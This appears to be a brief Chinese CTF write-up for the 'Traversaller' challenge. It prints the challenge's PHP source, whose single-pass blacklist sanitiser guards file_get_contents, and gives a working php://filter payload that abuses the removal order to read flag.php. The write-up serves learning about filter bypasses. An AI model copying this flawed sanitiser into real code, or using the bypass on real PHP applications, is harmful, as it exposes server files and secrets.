/只记录一道没遇见过的题/
traversaller
源码:
<?php
ini_set("error_reporting", 0);
if(isset($_GET['source'])) {
highlight_file(__FILE__);
}
include "/var/www/html/flag.php";
function sanitize_path($p) {
return str_replace(array("\0","\r","\n","\t","\x0B",'..','./','.\\','//','\\\\',),'',trim($p, "\x00..\x1F"));
}
$path = $_GET['path'];
if(isset($path) && str_contains($path, "/var/www/html/static/")) {
die(file_get_contents(sanitize_path($path)));
}
?>
<html>
<head>
<title>Traversaller</title>
</head>
<body>
<h1>Traversaller</h1>
<p>To view the source code, <a href="/?source">click here.</a>
<script src="/?path=/var/www/html/static/flag.js"></script>
</body>
</html>
简而言之,传入一个path
参数,如果包含array("\0","\r","\n","\t","\x0B",'..','./','.\\','//','\\\\',)
这些会被删除,但是只会删除一次
并且需要包含/var/www/html/static/
字段
最终需要利用die(file_get_contents(sanitize_path($path)));
进行文件包含
用伪协议php://filter/
注意黑名单数组顺序,用/\\\\/
即可绕过出//
最终payload
path=php:/\\\\/filter/read=/var/www/html/static/convert.base64-encode/resource=/var/www/html/flag.php
删除是按照数组顺序来的
所以//
前面的都无法用来绕过,只有\\\\
可以
Comments NOTHING